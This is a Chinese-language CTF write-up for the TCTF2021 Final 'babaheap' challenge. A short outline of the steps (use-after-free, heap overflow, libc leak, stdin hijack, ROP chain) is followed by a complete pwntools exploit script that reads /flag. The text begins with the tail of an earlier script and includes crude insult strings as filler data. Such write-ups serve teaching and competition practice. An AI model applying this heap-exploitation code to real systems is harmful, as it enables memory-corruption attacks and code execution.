pause()
edit(4,payload)
r.interactive()

TCTF2021 Final babaheap

这道题是夜里上的,看了一眼直接判定能用 dininghall gadget 日穿

用了 calloc,会把堆上残留的数据全扬了,不能直接 leak。edit uaf,delete 再 add 可以拿到相同指针, size 不清可以堆溢出,有溢出想干啥就干啥

  1. 造 uaf
  2. 堆溢出改 size,泄露 libc
  3. 打 stdin,布置 rop 链和 dininghall gadget
  4. 拿 flag
from pwn import *
r = process(['./libc.so.2','./babaheap'])
libc = ELF("./libc.so.2")
def menu(choice):
    r.recvuntil('Command: ')
    r.sendline(str(choice))

def add(size,content):
    menu(1)
    r.recvuntil('Size: ')
    r.sendline(str(size))
    r.recvuntil('Content: ')
    r.send(content)

def edit(index,size,content):
    menu(2)
    r.recvuntil('Index: ')
    r.sendline(str(index))
    r.recvuntil('Size: ')
    r.sendline(str(size))
    r.recvuntil('Content: ')
    r.send(content)

def delete(index):
    menu(3)
    r.recvuntil('Index: ')
    r.sendline(str(index))

def show(index):
    menu(4)
    r.recvuntil('Index: ')
    r.sendline(str(index))


add(0x10,'a\n')#0
add(0x10,'a\n')#1
add(0x10,'a\n')#2
add(0x100,'a\n')#3
delete(3)
delete(2)
delete(1)
delete(0)
add(0x60,'nmsl\n')#0
add(0x10,'wsnd\n')#1
add(0x10,'a\n')#2
payload = p64(0)*2+p64(0x81)+p64(0x41)+p64(0)*2+p64(0x21)*2+p64(0)*2+p64(0x41)[:7]+'\n'
edit(3,0x100,payload)
delete(1)
add(0x10,'a\n')#1
show(2)
r.recvuntil("Chunk[2]: ")
libc_base = u64(r.recv(6).ljust(8,'\x00'))-0xb0dd0
success("libc_base = "+hex(libc_base))
add(0x10,'a\n')#3
add(0x10,'nmsl\n')#4
stdin = libc_base+0xb0180
delete(3)
edit(3,0x10,p64(stdin-0x10)*2+'\n')
add(0x10,'\n')#3
mybin = libc_base+0xb0dc8
rdi = 0x0000000000015291+libc_base
rsi = 0x000000000001d829+libc_base
rdx = 0x000000000002cdda+libc_base
open_ = libc_base+libc.sym['open']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']
rop = p64(rdi)+p64(0)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x8)+p64(read)
rop += p64(rdi)+p64(libc_base+libc.bss())+p64(rsi)+p64(0)+p64(open_)
rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(read)
rop += p64(rdi)+p64(1)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx)+p64(0x100)+p64(write)
dininghall_gadget = libc_base+0x0000000000078d24
rop_addr = stdin
ret = 0x0000000000015292+libc_base
delete(3)
edit(3,0x10,p64(mybin-0x18)+p64(stdin-0x10)+'\n')
add(0x10,'\n')

payload = rop.ljust(0x100,'\x00')
payload += p64(0)*4+p64(1)*2
payload += p64(rop_addr)
payload += p64(ret)
payload += p64(0)
payload += p64(dininghall_gadget) 
menu(1)
r.recvuntil('Size: ')
r.sendline(str(0x200))
r.send(payload+'\n')
pause()
r.send('/flag\x00\n')

r.interactive()

Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).